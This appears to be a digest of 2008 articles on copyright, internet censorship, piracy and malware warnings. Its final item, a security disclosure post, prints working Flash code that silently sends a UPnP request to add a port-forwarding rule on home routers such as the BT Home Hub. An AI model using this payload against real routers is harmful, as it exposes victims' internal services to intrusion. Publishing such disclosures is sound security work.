AT&T's new strategy reverses that position and exposes it to so much potential liability that adopting it would arguably violate AT&T's fiduciary duty to its shareholders. Today, in its daily Internet operations, AT&T is shielded by a federal law that provides a powerful immunity to copyright infringement. The Bells know the law well: They wrote and pushed it through Congress in 1998, collectively spending six years and millions of dollars in lobbying fees to make sure there would be no liability for "Transitory Digital Network Communications"—content AT&T carries over the Internet. And that's why the recording industry sued Napster and Grokster, not AT&T or Verizon, when the great music wars began in the early 2000s.

Here's the kicker: To maintain that immunity, AT&T must transmit data "without selection of the material by the service provider" and "without modification of its content." Once AT&T gets in the business of picking and choosing what content travels over its network, while the law is not entirely clear, it runs a serious risk of losing its all-important immunity. An Internet provider voluntarily giving up copyright immunity is like an astronaut on the moon taking off his space suit. As the world's largest gatekeeper, AT&T would immediately become the world's largest target for copyright infringement lawsuits.

On the technical side, if I were an AT&T engineer asked to implement this plan, I would resign immediately and look for work at Verizon. AT&T's engineers are already trying to manage the feat of getting trillions of packets around the world at light speed. To begin examining those packets for illegal pictures of Britney Spears would be a nuisance, at best, and a threat to the whole Internet, at worst. Imagine if FedEx were forced to examine every parcel for drug paraphernalia: Next-day delivery would soon go up in smoke. Even China's Internet, whose performance suffers greatly from its filtering, doesn't go as far as what AT&T is proposing.

If this idea looks amazingly bad for AT&T, does the firm have an ingenious rationale for blocking content? "It's about," said AT&T last week, "making more content available to more people in more ways going forward." Huh? That's like saying that the goal of a mousetrap is producing more mice. If the quote makes any sense it all, perhaps it means that AT&T, the phone company, has aspirations to itself provide Internet content. Could it really be that AT&T's master strategy is to try and become more like AOL circa 1996?

A different theory is that AT&T hopes that filtering out infringing material will help free up bandwidth on its network. What is so strange about this argument is that it suggests that AT&T wants people to use its product less. That's like Exxon-Mobil complaining that SUVs are just buying up too much gas. It suggests that perhaps AT&T should try to improve its network to handle and charge for consumer demand, rather than spending money trying to control its consumers.

I just don't get the business aspect, so perhaps the only explanation that makes any sense is a political one. It may be that AT&T so hates being under the current network neutrality mandate that it sees fighting piracy as a way to begin treating some content differently than others—discriminating—in a politically acceptable way. Or maybe AT&T thinks its new friends in the content industry will let them into Hollywood parties if they help fight piracy. Whatever the explanation, AT&T is choosing a scary, expensive, and risky way to make a point. It is also, so far, alone on this one among Internet service providers; the cable industry is probably licking its chops in anticipation of new customers. That's why if this plan goes any further, and I were an AT&T shareholder, I'd have just one thought: SELL.
http://www.slate.com/id/2182152/fr/rss/





Caught in the Web

Imposing invisible and opaque censorship of the internet, however benignly, is not a proper way for the state to behave
Frank Fisher

When asked to name countries that impose extensive internet censorship, you might think of China, Iran, or North Korea; I doubt you'd think of the UK, but, after the home secretary Jacqui Smith's speech to the International Centre for Study of Radicalisation and Political Violence today, you really should.

Smith's headline-grabbing proposal, to use the same tools against "extremist" websites as are currently used against child pornography, should worry us all. Few hard details are available, but if we take her at her word this is a dangerous extension of government powers, with a dangerous lack of oversight. Press talk of extremist websites being taken down is foolish and betrays a lack of understanding of the internet. Just as with child pornography, web servers within the UK, maintained by UK ISPs or not, can be dealt with legally and technically relatively easily. Those outside our borders - ie, the vast majority, in both cases - are beyond our laws and technical reach, but the content they supply is not. Blocking traffic from servers that host child porn - effectively at our geographical borders - has been a UK government goal for some time, and in 2007 they made a huge step towards that. Good news? Not the way they went about it.

The technical approach was simple enough, based on a system devised by BT and known as Cleanfeed. A list of IP addresses is drawn up by the industry watchdog, the Internet Watch Foundation, supplied to and then augmented by the Home Office, and then handed to ISPs with the simple instruction "block traffic to and from these addresses". The problems are twofold.

First, the government, in the person of Home Office minister Vernon Coaker, simply demanded that all UK ISPs "voluntarily" sign up for the system - there is no legislative backing for this at all. And second, no doubt only because no open discussion took place, no parliamentary debate occurred, and therefore no real examination of the dangers of such a process were exposed, no one except the Home Office knows what's on that final list. We're led to believe that it's purely a list of child pornography sites. But no one outside government knows. Not even the ISPs. They block; they don't look.

As of December 31 last year, all UK ISPs duly agreed to adopt the system. You're now viewing a state-mandated subset of the internet. How do you feel about that? Like to vote against it? You can't. Like your MP to sit on a committee to oversee implementation? He can't. Like to know if the Google results you're seeing are a full representation of Google's actual results? You can't. Censorship at this level - above even ISPs, is all but invisible to the end user. It's a secret that they're keeping these secrets from you.

Now, this isn't China you might say, we trust our government to only censor material that needs censoring. Sure? This is the same government that has leaned on ISPs inside the UK, and outside, not with the intention of blocking illegal or obscene material, but simply sites that irritated, embarrassed, or offended the government. Not using legal methods either - a court order, say - but bullying and threats. And this is the same government that was only beaten by one vote in the House of Lords, on their 2006 proposal to force UK ISPs to drop sites on the say-so of a single police officer. This is, remember, that same government that's constantly telling us, with regard to ID cards, that if you have nothing to hide, you have nothing to fear. Why then, do they hide this list?

Now, OK, most will feel with regard to child pornography a bit of overkill may be justified, but with "extremism" we start a whole new ball game. It's a truism that one man's terrorist is another's freedom fighter, what should also be understood is that what is inflammatory and incendiary material to one, is the simple truth to others. Can we really accept that a few pen pushers in the Home Office should have absolute veto over our online browsing habits?

If the government is determined to pursue this path - and I'd stress I'd really rather they didn't (the best answer to poisonous speech is non-poisonous speech) - then the very least they must do is introduce transparency. There is no reason why the list supplied to ISPs should not be reviewed and questioned by a parliamentary committee at the very least and, unlike child porn, there's no reason why that shouldn't be in open session. Better would be a wider consultation, perhaps along the lines of the Human Fertilisation and Embryology Authority, where government could put its case to interested parties, including representatives of ISPs, civil liberties groups, and the public. You bet I'd volunteer. We cannot allow a power like this to operate, unchecked and unobserved, even if it is currently used benignly. Can those who'd say they would trust this government to act proportionately, really say they'd trust all future governments also? Future Spycatcher episodes will invariably happen online and in the UK, if the government of the day chose to act, we'd know nothing about it. We may even be in that situation right now.

The manner in which the government has grasped this power, the way in which they are already wielding it, and their resistance to introducing transparency to the process, suggests they think imposing invisible and opaque censorship, with no legal process, is a proper way for the state to behave. I reckon the Chinese government feels that way too. Censors generally feel their censorship is in a good cause too. It makes no difference.

We need a proper legal footing for these measures, proper oversight, and a proper understanding that free speech is not a trivial principle the government can simply ignore, but a cornerstone of any state that claims to be democratic. If they're going to slice off chunks of the internet, then the rest of us need to be damn sure that what's going is going for a good reason, and that Jacqui Smith isn't both judge and jury, in the hanging, drawing, and quartering of the world wide web.

***

And just a quick addendum here - Guardian lawyers vetoed two links I'd included in my article, regarding stories where the government had pressured ISPs inside and outside the UK to remove material, one to do with the personal involvement of a government minister in a legal case, one to do with Spooks kinda stuff. I won't give any more clues, and sorry, I've agreed not to repost the links either. But it's just a useful little illustration that even *without* Big Brother plans, the UK internet is a pretty heavily policed, and restricted, version.
http://commentisfree.guardian.co.uk/...n_the_web.html





Ford: Car Owners are Pirates if they Distribute Pictures of Their Own Cars
Josh

The folks at BMC (Black Mustang Club) automotive forum wanted to put together a calendar featuring members' cars, and print it through CafePress. Photos were submitted, the layout was set, and... CafePress notifies the site admin that pictures of Ford cars cannot be printed. Not just Ford logos, not just Mustang logos, the car -as a whole- is a Ford trademark and its image can't be reproduced without permission. So even though Ford has a lineup of enthusiasts who want to show off their Ford cars, the company is bent on alienating them. 'Them' being some of the most loyal owners and future buyers that they have. Or rather, that they had, because many have decided that they will not be doing business with Ford again if this matter isn't resolved.
Quote:
I got some more info from the folks at cafepress and according to them, a law firm representing Ford contacted them saying that our calendar pics (and our club's event logos - anything with one of our cars in it) infringes on Ford's trademarks which include the use of images of THEIR vehicles. Also, Ford claims that all the images, logos and designs OUR graphics team made for the BMC events using Danni are theirs as well. Funny, I thought Danni's title had my name on it ... and I thought you guys owned your cars ... and, well ... I'm not even going to get into how wrong and unfair I feel this whole thing is as I'd be typing for hours, but I wholeheartedly echo everything you guys have been saying all afternoon. I'm not letting this go un-addressed and I'll keep you guys posted as I get to work on this.

I'm sorry, but at this point we will not be producing the 2008 BMC Calendar, featuring our 2007 Members of the Month, solely due to Ford Motor Company's claim that THEY own all rights to the photos YOU take of YOUR car. I hope to resolve this soon, and be able to provide the calendar and other BMC merchandise that you guys want and deserve! This thread will remain open for you to comment however you wish, and I'll update it as needed.
Link
http://www.boingboing.net/2008/01/13...wners-are.html





A Romance Novelist Is Accused of Copying
Felicia R. Lee

Who says romance novel fans care only about ripped bodices and manly men?

Allegations this week that Cassie Edwards, a popular romance novelist with more than 100 books to her name, inserted large chunks of unattributed material into her work blossomed into a controversy that led Signet Books, one of her publishers, to announce on Friday that it was examining all of her work that it has published.

The controversy began when smartbitchestrashybooks.com, a blog devoted to romance novels, posted excerpts from Ms. Edwards’s novels this week alongside passages from other sources to show the similarities, which the site’s authors said they had discovered by plugging some of Ms. Edwards’s writing into Google. The novels they checked include “Running Fox,” “Savage Longings,” “Savage Moon” and “Savage Beloved.” Ms. Edwards often writes about romances between Native American men and white women, complete with vivid descriptions of Indian life.

In the novel “Shadow Bear,” published by Signet in 2007, the bloggers said a reader was able to find lines that appear to have come, with little or no modification, from a few sources, though mostly from a novel, “Land of the Spotted Eagle” by Luther Standing Bear, and an article about black-footed ferrets from Defenders of Wildlife magazine.

At one point, for instance, a character in “Shadow Bear” says, “Researchers theorize that polecats crossed the land bridge that once linked Siberia and Alaska, to establish the New World population.”

An article by Paul Tolme in the summer 2005 issue of Defenders of Wildlife, headlined “Toughing It Out in the Badlands,” contains this line: “Researchers theorize polecats crossed the land bridge that once linked Siberia and Alaska to establish the New World population.”

This week, many readers on romance-novel blogs said they felt betrayed by Ms. Edwards. Some called for a boycott of her work.

Although Signet Books, an imprint of Penguin Group, initially denied any wrongdoing on her part, the company issued a new statement on Friday calling for a broader examination. Craig Burke, a spokesman, said Signet has 12 of her books in print.

Of the seven novels examined by the bloggers, three were said to come from Signet, one from Topaz, two from Dorchester Publishing and one from Zebra.

“Our original comments were based on Signet’s review of a limited selection of passages,” Mr. Burke’s statement said. “We believe the situation deserves further review. Therefore we will be examining all of Ms. Edwards’s books that we publish, and based on the outcome of that review we will take action to handle the matter accordingly. We want to make it known that Signet takes any and all allegations of plagiarism very seriously.”

Earlier this week, when the allegation became public, Signet had maintained that “copyright fair-use doctrine permits reasonable borrowing and paraphrasing of another author’s words, especially for the purpose of creating something new and original.”

Nora Roberts, a novelist who is one of the biggest stars in the genre, said Friday that the controversy should force renewed attention to the issue of intellectual theft with ramifications well beyond the world of romance writers. Ms. Roberts had said earlier this week that what Ms. Edwards did was “not fair” and that copying someone’s work and passing it off as your own is plagiarism.

“I believe the impact should be bringing the issue of plagiarism into the public perception,” Ms. Robert said in an e-mail message on Friday. “It should make people — and most especially writers — understand it’s a line that can’t be crossed. Intellectual theft is still intellectual theft.”

Ms. Edwards told an Associated Press reporter earlier this week that she did not know she was supposed to credit her sources. “When you write historical romances, you’re not asked to do that,” she said.

Reached at her home in Mattoon, Ill., on Friday, Ms. Edwards declined, through her husband, to comment further on the controversy. According to a Friday morning post on the Web site that started it all, the bloggers said they had so far examined seven novels that were published from 1983 to 2007 and uncovered 14 “outside sources” in them, including a short-story collection.

Candy Tan and Sarah Wendell, the blog’s co-authors, said that while Ms. Edwards may not have infringed copyright law, they consider her actions unethical.

“It’s disappointing because, as a reader and a consumer, I assume it’s something this person wrote,” Ms. Wendell said in an interview. “A good many historical romance novels contain author’s notes listing where you can go for more information. There are romance novelists who use footnotes.”

Ms. Wendell estimated that they had found dozens of examples of writing that suggested borrowed material. Some of the sources were as old as a 1902 memoir, “Indian Boyhood.”

The investigation began when a friend of the bloggers, who is a college student, began reading Ms. Edwards as part of a course in romance novels. Noticing that “Shadow Bear” sounded strangely didactic in places, she used Google to trace the source of the writing.

The Romance Writers of America said in a statement that Ms. Edwards’s membership appeared to have lapsed. She is listed on their “honor roll,” the statement said, and “if guilt is admitted or established, the R.W.A. will take appropriate steps with regard to the honor roll listing.”
http://www.nytimes.com/2008/01/12/books/12roma.html





My Fair Copyright for Canada Principles
Michael Geist

With the continued interest in Canadian copyright reform - the Fair Copyright for Canada Facebook group has grown to over 38,000 members and the local chapters across the country are gaining significant momentum - the most frequently asked question I receive is "what do you think fair copyright reform looks like?" In other words, we know that tens of thousands of Canadians oppose a Canadian DMCA, but what kind of reform would or should they support?

Many groups have already responded to this question - librarians, teachers, universities, musicians, artists, consumer interests, and some large businesses opposed to a Canadian DMCA among them. Although the optimal approach would be to launch a public consultation on the issue, there is reason to doubt that the government will do so. In that case, I would point to eight key principles that should be addressed to maintain a balanced, fair approach to Canadian copyright law.

Take the Copyright Pledge. All Members of Parliament should be comfortable with the principle that they will not "introduce, support, or endorse any copyright bill that, either directly or indirectly, undermines or weakens the Copyright Act’s fair dealing provision." Fair dealing, which forms a crucial part of the copyright balance, is critically important for education and free speech and deserves full support from politicians regardless of party affiliation.

Anti-circumvention provisions should be directly linked to copyright infringement. The anti-circumvention provisions have been by far the most controversial element of the proposed reforms. The experience in the United States, where anti-circumvention provisions effectively trump fair use rights, provides the paradigm example of what not do to. It should only be a violation of the law to circumvent a technological protection measure (TPM) if the underlying purpose is to infringe copyright. Circumvention should be permitted to access a work for fair dealing or private copying purposes. This approach - which is similar (though not identical) to the failed Bill C-60 - would allow Canada to implement the World Intellectual Property Organization’s Internet treaties and avoid some of the negative "unintended consequences" that have arisen under the U.S. law.

No ban on devices that can be used to circumvent a TPM. Canada should not ban devices that can be used to circumvent a TPM. The reason is obvious - if Canadians cannot access the tools necessary to exercise their user rights under the Copyright Act, those rights are effectively extinguished in the digital world. If organizations are permitted to use TPMs to lock down content in a manner that threatens fair dealing, Canadians should have the right to access and use technologies that restores the copyright balance.

Expand the fair dealing provision by establishing "flexible fair dealing." Led by the United States, several countries around the world have established fair use provisions within their copyright laws (Israel being the most recent). The Supreme Court of Canada has already ruled that Canada's fair dealing provision must be interpreted in a broad and liberal manner. Yet the law currently includes a limited number of categories (research, private study, criticism, news reporting) that renders everyday activities such as recording television programs acts of infringement. The ideal remedy is to address other categories such as parody, time shifting, and format shifting by making the current list of fair dealing categories illustrative rather than exhaustive.

Establish a legal safe harbour for Internet intermediaries supported by a "notice and notice" takedown system. The creation of a legal safe harbour that protects Internet intermediaries from liability for the actions of their users is critically important to foster a robust and vibrant online world. Indeed, without such protections, intermediaries (which include Internet service providers, search engines, video sites, blog hosts, and individual bloggers) frequently remove legitimate content in the face of legal threats. Canadian law should include an explicit safe harbour that insulates intermediaries from liability where they follow a prescribed model that balances the interests of users and content owners. The ideal Canadian approach would be a "notice and notice" system that has been used successfully for many years on an informal basis.

Modernize the backup copy provision. As part of the 1988 copyright reform, Canadian copyright law was amended to allow for the making of backup copies of computer programs. In 1988, backing up digital data meant backing up software programs. Today, digital data includes CDs, DVDs, and video games. All of these products suffer from the same frailties as software programs, namely the ease with which hard drives become corrupted or CDs and DVDs scratched and non-functional. From a policy perspective, the issue is the same - ensuring that consumers have a simple way to protect their investment. "Modernizing" copyright law should include bringing this provision into the 21st century by expanding the right to make a backup copy to all digital consumer products.

Rationalize the statutory damages provision. Canada is one of the only countries in the world to have a statutory damages provision within its copyright legislation. It creates the prospect of massive liability - up to $20,000 per infringement - without any evidence of actual loss. This system may have been designed for commercial-scale infringement, but its primary use today is found in the U.S. where statutory damages led to the massive liability for one peer-to-peer file sharing defendant and leaves many defendants with little option but settlement. Before Canada faces similar developments, we should amend the statutory damages provision by clarifying that it only applies in cases of commercial gain.

Include actual distribution in the making available right. The new bill will likely include a "making available" provision that will grant copyright holders the exclusive right to make their works available. While there is reason to believe that Canadian law already features a making available right, any new provision should require actual distribution, which ensures that liability only flows from real harm.

There are many other issues worthy of consideration (private copying and crown copyright among them), which is why a broad consultation is needed. In the absence of a consultation, however, Canadians should be writing to Industry Minister Jim Prentice and to their local MP to urge them not only to drop plans for a Canadian DMCA, but to also introduce a positive agenda that features a genuine made-in-Canada copyright solution.
http://www.michaelgeist.ca/content/view/2572/125/





Filmmaker Suing Me Over Bad Review
Gregory Conley

In case you haven’t heard, director and producer BJ Davis and his wife Julia Davis want to sue me over a negative review I wrote of the mob comedy Forget About It. Seriously. Despite BJ officially serving me “legal notice” through an e-mail, I still don’t know what I’m being sued over. The original e-mail sent to me by Julia Davis said, and I quote, “illegally using artwork to the feature film “Forget About It” and disseminating fraudulent, misleading and materially false information about the film in question.” For one, using artwork in a review would undoubtedly fall under fair use laws. Secondly, Allumination Filmworks likely owns the artwork used to promote Forget About It to U.S. DVD buyers. And third, court papers posted at Big Screen Entertainment’s website cast doubt on whether or not BJ Davis even owns the movie’s copyright at this point.

The two claim that I didn’t watch Forget About It. I watched it. It wasn’t funny. It wasn’t horrible, but the script by Ms. Davis was. **SPOILER ALERT** The movie ends with the main character being drugged on a plane. There’s no way I would’ve known this without watching the movie. Additionally, seeing as how my review is the only one I’ve found of the film, I wouldn’t have been able to write the description contained in the review without having watched it.

What reasons do they give for me saying that I didn’t watch the movie? Well, the Incorrect Movie Database had Joanna Pacula listed at being in the movie. As a result I added her to the cast list and said she, along with folks like Richard Grieco and Phyllis Diller, did fine in the movie. Unfortunately she wasn’t in the movie. I listed her as being ‘fine’ because in a movie like Forget About It, if you don’t stick out and make me say, “You’re a bad actor,” then you’ve done fine for yourself. I assumed she had just faded into the background.

Just as I was about to finalize this and post it I received an e-mail from BJ Davis not marked as private to let me know what I was being sued over.

Quote:
It has NOTHING to do with a “negative review” - all of us couldn’t care less about your opinions. It has EVERYTHING to do with you knowingly disseminating misinformation about the film - stating that it went “straight to video”, falsely claiming that actors “paychecks” had something to do with AZ tax deals, bashing our actors, commenting on “performances” by actors who were not even in the film, posting unpublished court orders, to include vacated court orders, illegally posting copyrighted material, linking to our websites without authorization, etc. You’ve completely misrepresented the facts. Seeing the caliber of “projects” featured on your website, you had no business even mentioning this film. You will be sued for libel, defamation of character, copyright violations and loss of income/profit from the commercial exploitation of the film, to name a few causes of action. Based on your commentary and the content of your websites, you’re obviously one of Paloma’s spammers. Your actions have been referred to authorities for further investigation.

http://www.pennystocksexposed.com/pe...xposed_067.htm

Remove your ramblings and harassing attacks, or be prepared to face legal consequences. Send me your address and/or contact information for your attorney.
Okay, let me see here.

- I never said the film went straight to video.
- I incorrectly said that Arizona gave the film tax breaks. That mistake was corrected within twelve hours of the review being posted.
- Bashing actors is not illegal, nor does BJ Davis have any right to sue on an actor’s behalf.
- Even if I said that Pauly Shore and Stephen Baldwin had cameos in the movie I would have been breaking no laws in doing that.
- I didn’t publish any court orders. I linked to court orders published on Big Screen Entertainment’s website, which means that they weren’t ‘unpublished.’
- I didn’t illegally post anything.
- Linking to your website without authorization? HAHAHAHAHAHAHAH.

As you can see, he also accused me of being in bed with the lead actor of the film. I’ve never spoken to Michael Paloma before in my life. I pointed out in a previous post that he was convicted by the SEC for shady business dealings. Just so it’s clear, let me state on the record that Michael Paloma is a horrible actor.

So we’ve got libel, defamation of character, copyright violations, and loss of income/profit from the commercial exploitation of a movie that he alledgedly does not own the rights to.

What a joke. Please pass this around the blogosphere as much as you possibly can.
http://www.yourvideostoreshelf.com/i...er-bad-review/





The Nines on BitTorrent

Since well before our Sundance debut last year, I’ve been curious-slash-paranoid about when The Nines would start showing up on the BitTorrent trackers, the online repository of pirated movies and a few legitimate wares.

It was inevitable that the movie would get bootlegged at some point. The timing was the delicate issue. If it showed up before Sundance, some distributors might be frightened off (why spend x dollars when people are already watching it for free?). If it showed up online before our theatrical release, we could anticipate a hit in ticket sales, and a tougher time selling it overseas.

So for a while, I was checking every day. And nothing.

But yesterday, my Google News Alert feed showed the inevitable had come to pass: there was a DVD rip of The Nines online. Given the subtitles attached (Spanish and French), it was almost certainly the North American retail release, which I haven’t even held in my hands yet.1

I haven’t downloaded or watched the rip, but I have gotten three emails in the last 24 hours which began, “I recently saw The Nines…”

So it’s out there.

And that’s okay. Not “okay” in the sense of “legal” or “right.” But okay in the sense of c’est la vie. People are going to watch the pirated version, and there’s nothing I can do about it. Sony, Interpol and the MPAA will do their best, but as the guy who made the movie, I honestly want people to see the movie. If the only way you’re going to watch The Nines is illegally, so be it.

In fact, for a writer/director, there’s not a meaningful financial difference between someone watching an illegal download and getting it from Netflix, which distributes a limited number of discs to a large audience. Discuss.

But as the director, there are some good reasons to steer you towards the physical disc once it comes out on January 29th.

→ It has a ton of the usual special features: two audio commentaries, a making-of, gallery, deleted scenes (with commentary), and a bunch of Easter eggs.

→ It has one thing I’ve never seen before. For the opening sequence, you can see the script scroll by in the upper half of the screen, matched up to the movie and the storyboards for each shot. It’s a lot to process at once — you’ll probably need to watch it a few times — but it’s very cool.

→ You can loan a DVD, without passing along that troubling knowledge that you’ve done something illicit.

→ If you’re seen buying (or renting) The Nines, you’ll immediately identify yourself as someone drawn to challenging, divisive movies. So make sure to put it at the top of the stack as you slide it across the counter.

→ Hidden in five DVD cases are magical golden tickets.2

But if these reasons and/or your conscience doesn’t persuade you, it’s not hard to find The Nines online. And I won’t think less of you. Probably.
http://johnaugust.com/archives/2008/...-on-bittorrent





Latest uTorrent Vulnerable to Hack - 1.6x OK

Private trackers talking ban
Jack

After a security researcher said recent popular uTorrent clients are vulnerable to hacker induced crashes, admins at private tracker sites insisted members upgrade to patched versions or risk losing access. Others say not so fast, citing evidence that the many pre BT-sale versions still in use are OK.

It's a long story but ever since the original uTorrent developer sold out to the BitTorrent corporation there have been suspicions that the light weight app could be compromised by company founder Bram Cohen's involvement with big media. Whether true or not many uTorrent fans figured why take chances and stuck with older versions developed before the sale, in particular 1.6 build 474. However due to the way it handles code it appears the entire 1.6 line is unaffected by the exploit (which is apparently more inconvenient than dangerous) and at this point I'm recommending hanging onto the series if that's what you're using. If not and you're already running a post-sale version you might as well upgrade to the patch.
http://www.p2p-zone.com/underground/...237#post260237





Warnings Over Valentine's Day Storm Worm

Security firms issue early warning on upcoming malware
Anna Lagerkvist

Security firms PC Tools and Sophos today warned computer users about an upcoming storm worm set to take advantage of Valentine's Day on 14 February.

The Valentine's Day storm worm doesn't deliver romantic messages in the spirit of the day; rather an infected attachment that could compromise your computer instead. Email messages with subjects such as "I would dream" and "Memories of you" contains "withlove.exe" and other Valentine's Day-themed executable files attached.

The body of the email contains a link to an IP address-based website, which is actually one of the many compromised PCs in the storm network of computers. The website displays a large red heart, while installing malware onto your computer.

"This heart attack has been spammed out on a huge scale by an organised gang hellbent on stealing access to your computer for criminal purposes," said Graham Cluley, senior technology consultant at Sophos.

"It seems the hackers were too impatient to wait for Valentine's Day this year before plucking on heart strings in their attempt to infect the unwary. People will be truly lovesick if they let the malicious code run on their computer."

PC Tools warns consumers that the worm delivers rootkits and malicious code and maintains control of a computer system via peer-to-peer communications (P2P). If your computer gets infected, it may be compromised as a tool in identity theft and financial loss.
Break your PC's heart

Sophos said that 8 per cent of 'romantic emails' - or one in every 12 messages - is likely to "break your computer's heart".

As per usual, the advice is to stay clear of suspicious and unsolicited emails, and make sure your computer is updated with the latest anti-virus software. Email worms pry on people's need for affection and curiousness, so think twice before you open any of the Valentine's Day-themed emails that are guaranteed to hit your inbox over the next few weeks.

"Your computer and the data on it is precious, and it needs to be protected. No-one should be blinded by an unexpected romantic message into clicking on links to unknown websites. The best defence is common sense, combined with up-to-date anti-virus software and spam protection at your gateway," Cluley added.
http://www.tech.co.uk/computing/inte...eid=1841099913





Hacking The Interwebs

"With great power comes great responsibility", but those with great power usually aren’t that responsible. Nevertheless, we try to be responsible as much as we can. In the following post, ap (Adrian Pastor; pagvac) and I (pdp) are going to expose some secrets, which may make you question our values at first, will definitely make you feel worried about "Why is all this possible?", and may even make you hate us in your guts for what we have done. It is important to understand the magnitude of the problem we are planning to talk about, and that we cannot go to any vendor to ask for a solution, because it is not a bug what we have to deal with, but rather a combination of design problems. It is an issue, which needs to be resolved right now and the only way to do that is to go public with whatever we’ve got on our table.

During the last week we’ve tried to prepare you for this very moment by exposing bits and pieces on how UPnP works and why it is so important to keep it in mind when testing and securing networks. We’ve also talked about how the Universal Plug and Play can be combined with simple XSS attacks in order to create a powerful mechanism for remotely reconfiguring vulnerable routers without any means of authentication or authorization with the targeted device. Today, we are going to show you that UPnP can be exploited across the Web without the need of XSS. This is the next logical, evolutionary step of UPnP exploitation which by far has the highest level of severity.

We’ve talked earlier that the UPnP stack consists of several technologies: SSDP (Simple Service Discovery Protocol), GENA (Generic Event Notification Architecture), SOAP (Simple Object Access Protocol) and XML. The UPnP control process starts with the discovery stage. Here, a multicast SSDP packet is submitted to 239.255.255.250:1900. Any device that listens on this multicast port will then respond with information about their service description if they are happy with the body of the discovery packet. The UPnP control actuator will then read the description and look for available methods. Each method is associated with a control point (URL and a header) and method parameters which may or may not be required. Once the method information is obtained, the UPnP actuator will pick the method that suits best the given task that needs to be performed and submit a SOAP message to the control point in order to actualize it. "This is how UPnP works in general!"

When attacking UPnP from within the network where the UPnP enabled device is located, we pretty much proceed with the method described above. If we want to attack a UPnP enabled device across the Web, then we have a few problems that needs to be solved. First of all, from the Web, we cannot send and process SSDP. SSDP is based on UDP and it deals with multicast packets which is something browsers and Web technologies in general will probably never learn how to work with. The only stage that we can safely perform from the Web is the actual SOAP request, which is the very last stage of the control mechanism described in the previous paragraph.

Adrian did an amazing job explaining how someone can reconfigure your BT Home Hub router via a pre-auth XSS. In his post, Adrian describes a mechanism where the victim visits a malicious page, which makes use of a XSS vulnerability that exists within the BT Home Hub router, in order to add a portforwarding rule within the targeted device firewall. Once the XSSed SOAP request is actualized, the attacker will be able to get access to an internal service over the portforward. Given the fact that the attacker can change the primary DNS server of the target router, as well, the problem seams to be more then scary and very, very concerning. At this stage you are probably thinking that closing the XSS hole on the router pre-auth pages will definitely solve the problem for good, but I am afraid to inform you that you will be wrong.

To the point: SOAP Messages are nothing but POST requests with contentType equal to application/xml, a SOAPAction header and a request body that complies with the SOAP message format. These three request values cannot be changed with JavaScript unless we deal with the XMLHttpRequest object. Though, in order to successfully use this object, we need to comply with the Same Origin Policies (SOP) and that will mean that we need an XSS vulnerability, as Adrian proposed in his article. However, it is less known that these values can be easily set with Flash. The following code demonstrates the attack vector:

Code:
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="onAppInit()">
	<mx:Script>
		import flash.net.*;

		private function onAppInit():void
		{
			var r:URLRequest = new URLRequest('http://192.168.1.254/upnp/control/igd/wanpppcInternet');

			r.method = 'POST';
			r.data = unescape('%3C%3Fxml%20version%3D%221.0%22%3F%3E%3CSOAP-ENV%3AEnvelope%20xmlns%3ASOAP-ENV%3D%22http%3A//schemas.xmlsoap.org/soap/envelope/%22%20SOAP-ENV%3AencodingStyle%3D%22http%3A//schemas.xmlsoap.org/soap/encoding/%22%3E%3CSOAP-ENV%3ABody%3E%3Cm%3AAddPortMapping%20xmlns%3Am%3D%22urn%3Aschemas-upnp-org%3Aservice%3AWANPPPConnection%3A1%22%3E%3CNewRemoteHost%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3E%3C/NewRemoteHost%3E%3CNewExternalPort%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui2%22%3E1337%3C/NewExternalPort%3E%3CNewProtocol%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3ETCP%3C/NewProtocol%3E%3CNewInternalPort%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui2%22%3E445%3C/NewInternalPort%3E%3CNewInternalClient%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3E192.168.1.64%3C/NewInternalClient%3E%3CNewEnabled%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22boolean%22%3E1%3C/NewEnabled%3E%3CNewPortMappingDescription%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3EEVILFORWARDRULE2%3C/NewPortMappingDescription%3E%3CNewLeaseDuration%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui4%22%3E0%3C/NewLeaseDuration%3E%3C/m%3AAddPortMapping%3E%3C/SOAP-ENV%3ABody%3E%3C/SOAP-ENV%3AEnvelope%3E');
			r.contentType = 'application/xml';
			r.requestHeaders.push(new URLRequestHeader('SOAPAction', '"urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping"'));

			navigateToURL(r, '_self');
		}
	</mx:Script>
</mx:Application>
The Test.mxml Flash Application performs several operations.

1. At first, the MXML script creates an URLRequest object to the targeted UPnP control point URL. In our case, this is http://192.168.1.254/upnp/control/igd/wanpppcInternet, which is the PPP control point of BT Home Hub. Keep in mind that other devices can be exploited as well by changing that URL to match their setup.
2. Then we define the request method which has to be POST.
3. The next expression defines the request data. This is the actual SOAP Message which will add the portforwarding rule.
4. We need to set the contentType to application/xml.
5. Then we push the SOAPAction header into the Array of headers.
6. And finally we open the URLRequest with navigateToURL. The respond will render within _self.

Shockwave Flash 9.0 r115 (the latest at the time of writing but not automatically deployed) seams to incorrectly supply the request headers. This may make the attack to fail if you use Firefox, Opera or Safari and the attacked router or UPnP device is picky about CR and CRLF line endings. Earlier flash versions does not have this problem/bug. Keep in mind that most devices will accept the request although the line endings are mixed up a bit.

When the victim visits the malicious SWF file, the above 6 steps will silently execute in the background. At that moment the attacker will have control over the service the portforwarding rule was assigned for for. Keep in mind that no XSS is required, it is a matter of visiting the wrong resource at the wrong time. Also, keep in mind that 99% of home routers are vulnerable to this attack as all of them support UPnP to one degree or another.

